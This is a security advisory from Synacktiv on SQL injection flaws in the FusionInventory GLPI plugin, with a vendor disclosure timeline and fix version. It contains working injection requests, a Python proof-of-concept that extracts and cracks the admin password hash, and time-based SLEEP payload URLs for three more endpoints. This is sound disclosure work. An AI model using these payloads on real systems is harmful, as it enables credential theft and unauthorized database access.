Multiple SQL injection in FusionInventory 9.5.0 GLPI plugin

Security advisory

2020-12-01

Hugo VINCENT
Alexis DANIZAN

Vulnerability description

Presentation of *FusionInventory GLPI plugin*

FusionInventory acts like a gateway and collects information sent by the agents. It will create or update the information in GLPI with minimal effort from the administrator.

The issue

Synacktiv discovered that the *FusionInventory GLPI* plugin is vulnerable to multiple SQL injection through the use of unsanitized user input parameters. Exploiting this vulnerability requires authentication and allows extracting sensitive data from the GLPI database like the password hash of the administrator.

Affected versions

The following versions are known to be affected:

- Version 9.5.0+1.0
- Version 9.4+2.4

Timeline

Date	Action
01-13-2021	Advisory sent to David Durieux from FusionInventory project.
03-03-2021	Vendor publishes a new release 9.5.0+2.0 addressing the issue.

Technical description and proof-of-concept

The application executes SQL queries containing user-controlled data without proper server-side validation.

This allows an attacker to send crafted data to the application and modify the original SQL query's behaviour. For instance, an authenticated attacker can access the following page:

- *http://172.21.0.2/plugins/fusioninventory/ajax/deploydropdown_operatingsystems.php*

This page can be accessed by means of a POST request with the parameters *table* and *searchText*. The *searchText* parameter is vulnerable to SQL injection:

```
POST /plugins/fusioninventory/ajax/deploydropdown_operatingsystems.php HTTP/1.1
Host: 172.21.0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 111
[...]

table=glpi_users&searchText=synacktivUserDoesntExist') OR (1=1 AND name LIKE 'glpi

HTTP/1.1 200 OK
Date: Mon, 30 Nov 2020 15:39:26 GMT
Server: Apache/2.4.25 (Debian)
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 117
Connection: close
Content-Type: text/html; charset=UTF-8

<select name='' id='' size='1'><option value='0'>-----</option><option value='2'
title="glpi">glpi</option></select>
```

```
POST /plugins/fusioninventory/ajax/deploydropdown_operatingsystems.php HTTP/1.1
Host: 172.21.0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 111
[...]

table=glpi_users&searchText=synacktivUserDoesntExist') OR (1=2 AND name LIKE 'glpi


HTTP/1.1 200 OK
Date: Mon, 30 Nov 2020 15:39:29 GMT
Server: Apache/2.4.25 (Debian)
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 72
Connection: close
Content-Type: text/html; charset=UTF-8

<select name='' id='' size='1'><option value='0'>-----</option></select>
```

Here is a snippet of code of the *deploydropdown_operatingsystems.php* file:

```
include ("../../../inc/includes.php");
```

```
Session::checkLoginUser();

header("Content-Type: text/html; charset=UTF-8");
Html::header_nocache();

//Session::checkRight('create_ticket', "1");
// Security
$table = filter_input(INPUT_POST, "table");
if (empty($table) || !$DB->tableExists($table)) {
   exit();
}

$where = "WHERE 1";

$searchText = filter_input(INPUT_POST, "searchText");
if (strlen($searchText) > 0 && $searchText != $CFG_GLPI["ajax_wildcard"]) {
   $search = Search::makeTextSearch($searchText);

   $where .= " AND (`name` ".$search."
               OR `id` = '".$searchText."'";
   $where .= ")";
}
[...]
$query = "SELECT *
          FROM `".$table."`
          $where
          ORDER BY `name`
          $LIMIT";
```

Inside the *includes.php* file all the GET and POST parameters are sanitized by the *GLPI* application. However, the call to *filter_input* will undo the sanitization step done by *GLPI*, meaning that no sanitization is applied on the user input parameters.

Here is the value of the *$query* parameter with normal user input:

```
table=glpi_users&searchText=glpi
$query = "SELECT * FROM `glpi_users` WHERE 1 AND (`name` LIKE '%glpi%' OR `id` = 'glpi') ORDER BY `name` LIMIT 0, 100"
```

The *makeTextSearch* function escapes the '_' character making impossible to extract any column with '_' in its name. A bypass have been found but requires a table name without the '_' character. However, in *GLPI,* tables are by default prefixed with *glpi_*.

It's still possible to extract interesting columns like the password hash of the *glpi* user which is administrator of the application.

A boolean base SQL injection has been used to extract the password hash byte by byte. Here is the payload:

```
table=glpi_users&searchText=glpi') AND (HEX(SUBSTRING(password, 1, 1)) = '24' AND name LIKE 'glpi
```

If the server return:

```
<option value='2'  title="glpi">glpi</option>
```

This means that the first byte of the password is equal to 0x24.

Here is the *$query* variable with the previous payload:

```
"SELECT * FROM `glpi_users` WHERE 1 AND (`name` LIKE '%glpi') AND (HEX(SUBSTRING(password, 1, 1)) = '24' AND name LIKE 'glpi%' OR `id` = 'glpi') AND (HEX(SUBSTRING(password, 1, 1)) = '24' AND name LIKE 'glpi') ORDER BY `name` LIMIT 0, 100"
```

As mentioned before, if a '_' character is present in the name of the field like the field *personal_token* then the *makeTextSearch* function beaks the SQL query making it non valid:

```
table=glpi_users&searchText=glpi') AND (HEX(SUBSTRING(personal_token, 1, 1)) = '24' AND name LIKE 'glpi
$query = "SELECT * FROM `glpi_users` WHERE 1 AND (`name` LIKE '%glpi') AND (HEX(SUBSTRING(personal\_token,
1, 1)) = '24' AND name LIKE 'glpi%' OR `id` = 'glpi') AND (HEX(SUBSTRING(personal_token, 1, 1)) = '24' AND name LIKE
'glpi') ORDER BY `name` LIMIT 0, 100"
```

It's then possible to iterate over all byte of the *password* field to recover its value. Hexadecimal encoding have been used due to some problems with ASCII characters. Note that this vulnerability can be exploited with an account without any special privileges on the *GLPI* application. Here is a simple non optimized POC script to recover the *password* field of the *glpi* user:

```
import requests
import base64

URL = "http://172.21.0.2/plugins/fusioninventory/ajax/deploydropdown_operatingsystems.php"

COOKIES = {
    "glpi_40d1b2d83998fabacb726e5bc3d22129":"0a5ed8rp6c8r3gcfkn00n061bi"
}

MAX_LENGTH = 100

def checkValidQuery(res, name):
  #print(res.text)
  return f'title="{name}"' in res.text

def makeRequest(s, table, injection):

  data = {
    "table":table,
    "searchText":injection
  }

  res = s.post(URL, data=data, cookies=COOKIES)
  return res


def getField(session, table, name, field, length):
  res_field = ''
  for i in range(1, length+1):
    for j in range(0, 256):
      hex_value = "{:02x}".format(j)
      #print(f"[+] Trying : {hex_value}")
      injection = f"{name}') AND (HEX(SUBSTRING({field}, {i}, 1)) = '{hex_value}' AND name LIKE '{name}".encode('utf-8')
      res = makeRequest(session, table, injection)
      if checkValidQuery(res, name):
        res_field += hex_value
        print(f"[+] field {field} : {res_field}")
        break
  return res_field

def getLengthField(session, table, name, field):
  for i in range(1, MAX_LENGTH):
    injection = f"{name}') AND (LENGTH({field}) = {str(i)} AND name LIKE '{name}".encode('utf-8')
    res = makeRequest(session, table, injection)
    if checkValidQuery(res, name):
      return i

  return None

def exploit():

  table = "glpi_users"
```

```
    name = "glpi"
    field = "password"

    s = requests.Session()
    print("[+] Starting.")

    length = getLengthField(s, table, name, field)
    print(f"[+] Length {field} : {length}")

    field_value = getField(s, table, name, field, length)
    print(f"[+] Found : {field_value}")

    print("[+] Done.")


if __name__ == "__main__":

    exploit()
```

```
$ python3 exploits/sqli-fusion.py
[+] Starting.
[+] Length password : 60
[+] field password : 24
[+] field password : 2432
[+] field password : 243279
[...]
[+] field password : 2432792431302472[...]441596d
[+] Found : 2432792431[...]1596d
[+] Done.
$ hexd 24327924313[...]974415596d
$2y$10$rXXzbc2ShaiCldwkw4AZL.n.9QSH7c0c9XJAyyjrbL9BwmWditAYm
$ john hash.txt
glpi            (glpi)
```

Following the code pattern with the call to the *filter_input* function in the fusion inventory plugin, other SQL injections have been found, however they require an administrator access.

In *computer_last_inventory.php,* the *state* parameter is vulnerable:

- *http://172.21.0.2/plugins/fusioninventory/report/computer_last_inventory.php?state=%27)%20AND%20(SELECT%203699%20FROM%20(SELECT(SLEEP(5)))YeLc)--%20ehkC*

In *jobstates_logs.php,* the *last_date* parameter is vulnerable:

- *http://172.21.0.2/plugins/fusioninventory/ajax/jobstates_logs.php?id=1&last_date=%27%20AND%20(SELECT%206918%20FROM%20(SELECT(SLEEP(5)))QCuH)--%20ibvl*

In *taskjob_moduleitems.php,* the *method* parameter is vulnerable:

- *http://172.21.0.2:80/plugins/fusioninventory/ajax/taskjob_moduleitems.php?method=' AND (SELECT 9091 FROM (SELECT(SLEEP(5)))QAjX)-- sDho&itemtype=Computer&moduletype=actors*